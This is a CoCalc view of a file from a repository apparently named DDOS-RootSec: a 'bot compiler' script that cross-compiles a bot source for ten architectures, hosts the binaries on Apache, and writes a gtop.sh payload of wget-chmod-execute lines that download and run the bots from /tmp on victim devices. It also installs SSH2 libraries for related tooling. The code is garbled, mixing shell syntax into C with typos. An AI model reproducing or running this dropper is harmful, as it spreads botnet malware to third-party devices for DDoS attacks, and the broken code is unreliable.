Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/BT.ad2bf4.c
5038 views
1
/*
2
[BT.c] VERSION 1.0
3
~B1NARY~
4
Skype: bl4ck.j3sus
5
XMPP: [email protected]
6
Made: 3-17-16
7
*/
8
9
//Includes
10
#include <stdio.h>
11
#include <stdlib.h>
12
13
//Banner & Usage
14
fprintf "###############################################################################"
15
fprintf "# ___ __________ ____ _______ _____ _______________.___. ___ #"
16
fprintf "# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ #"
17
fprintf "# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ #"
18
fprintf "# | | \ | / | \/ | \ | \\____ | #"
19
fprintf "# |______ / |___\____|__ /\____|__ /____|_ // ______| #"
20
fprintf "# \/ \/ \/ \/ \/ #"
21
fprintf "###############################################################################"
22
fprintf " Skype:bl4ck.j3sus | XMPP:[email protected] "
23
fprintf " B1NARY BOT COMPILER Version 1.0 | 3-17-16 "
24
fprintf " USAGE: ./BT [BOTNAME.C] "
25
fprintf
26
sleep 3
27
//WgetLinks
28
#define mips http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
29
#define mipsel http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
30
#define sh4 http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
31
#define x86_64 http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
32
#define armv6l http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
33
#define i686 http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
34
#define powerpc http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
35
#define i586 http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
36
#define m86k http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
37
#define sparc http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
38
39
//Botnames
40
#define L1 jackmymipsel //mipsel
41
#define L2 jackmymips //mips
42
#define L3 jackmysh4 //sh4
43
#define L4 jackmyx86 //x86_64
44
#define L5 jackmyarmv6 //armv6l
45
#define L6 jackmyi686 //i686
46
#define L7 jackmypowerpc //powerpc
47
#define L8 jackmyi586 //i586
48
#define L9 jackmym86k //m86k
49
#define L10 jackmysparc //sparc
50
51
int aptgets()
52
{
53
system(apt-get install tar -q)
54
system(apt-get instal bzip -y;apt-get install bzip2 -y)
55
}
56
57
int wgetting()
58
{
59
if [ -d cross-compiler-mips]
60
then
61
fprintf "cross-compiler-mips is present, no need for wget"
62
else
63
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 --no-check-certificate)
64
system(tar -xvjf cross-compiler-mips*)
65
if [ -d cross-compiler-mipsel]
66
then
67
fprintf "cross-compiler-mipsel is present, no need for wget"
68
else
69
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 --no-check-certificate)
70
system(tar -xvjf cross-compiler-mipsel*)
71
if [cross-compiler-sh4]
72
then
73
fprintf "cross-compiler-sh4 is present, no need for wget"
74
else
75
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 --no-check-certificate)
76
system(tar -xvjf cross-compiler-sh4*)
77
if [-d cross-compiler-x86_64]
78
then
79
fprintf "cross-compiler-x86_64 is present, no need for wget"
80
else
81
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2 --no-check-certificate)
82
system(tar -xvjf cross-compiler-x86_64*)
83
if [-d cross-compiler-armv6l]
84
then
85
fprintf "cross-compiler-armv6l is present, no need for wget"
86
else
87
system(wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2 --no-check-certificate)
88
system(tar -xvjf cross-compiler-armv6l*)
89
if [-d cross-compiler-powerpc]
90
then
91
fprintf "cross-compiler-powerpc is present, no need for wget"
92
else
93
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 --no-check-certificate)
94
system(tar -xvjf cross-compiler-powerpc)
95
if [-d cross-compiler-m68k]
96
then
97
fprintf "cross-compiler-m68k is present, no need for wget"
98
else
99
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 --no-check-certificate)
100
system(tar -xvjf cross-compiler-m68k*)
101
if [-d cross-compiler-sparc]
102
then
103
fprintf "cross-compiler-sparc is present, no need for wget"
104
else
105
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 --no-check-certificate)
106
system(tar -xvjf cross-compiler-sparc*)
107
if [-d cross-compiler-i586]
108
then
109
fprintf "cross-compiler-i586 is present, no need for wget"
110
else
111
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 --no-check-certificate)
112
system(tar -xvjf cross-compiler-i586)
113
if [-d cross-compiler-i686]
114
then
115
fprintf "cross-compiler-i686 is present, no need for wget"
116
else
117
system(wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2 --no-check-certificate)
118
system(tar -xvjf cross-compiler-i686)
119
system(rm -rf *.tar.bz2)
120
fprintf "Done."
121
sleep 3
122
}
123
124
int compiling ()
125
{
126
system(./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o (L1) $1 > /dev/null 2>&1)
127
system(./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o (L2) $1 > /dev/null 2>&1)
128
system(./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o (L3) $1 > /dev/null 2>&1)
129
system(./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o (L4) $1 > /dev/null 2>&1)
130
system(./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o (L5) $1 > /dev/null 2>&1)
131
system(./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o (L6) $1 > /dev/null 2>&1)
132
system(./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o (L7) $1 > /dev/null 2>&1)
133
system(./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o (L8) $1 > /dev/null 2>&1)
134
system(./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o (L9) $1 > /dev/null 2>&1)
135
system(./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o (L10) $1 > /dev/null 2>&1)
136
fprintf "Done."
137
system(apt-get install apache2; apt-get install php5 -y -q;apt-get install nginx;)
138
system(yum install httpd; yum install php -y -q)
139
system(mv jackmy* /var/www/html)
140
fprintf "Restarting Your Apache..."
141
system(service httpd restart)
142
system(service apache2 restart)
143
}
144
145
int gtop ()
146
{
147
fprintf "Making Payload..."
148
system(cd /var/www/html; touch gtop.sh)
149
fprintf "This Will Take a Few, Be Patient.."
150
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> /vsr/www/html/gtop.sh
151
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> /var/www/html/gtop.sh
152
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> /var/www/html/gtop.sh
153
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> /var/www/html/gtop.sh
154
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> /var/www/html/gtop.sh
155
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> /var/www/html/gtop.sh
156
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> /var/www/html/gtop.sh
157
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> /var/www/html/gtop.sh
158
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> /var/www/html/gtop.sh
159
fprintf "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> /var/www/html/gtop.sh
160
}
161
162
int LRABDependencies ()
163
{
164
sleep 6
165
fprintf "Finishing Up Install"
166
system(yum install cpan wget curl glibc.i686 -y)
167
system(cpan force install Parallel::ForkManager)
168
system(cpan force install IO::Socket)
169
system(cpan force install IO::Select)
170
sleep 2
171
system(yum install gcc php-devel php-pear libssh2 libssh2-devel libpcap -y)
172
system(pecl install -f ssh2)
173
system(touch /etc/php.d/ssh2.ini)
174
fprintf extension=ssh2.so > /etc/php.d/ssh2.ini
175
system(cpan force install Net::SSH2)
176
}
177
178
int main()
179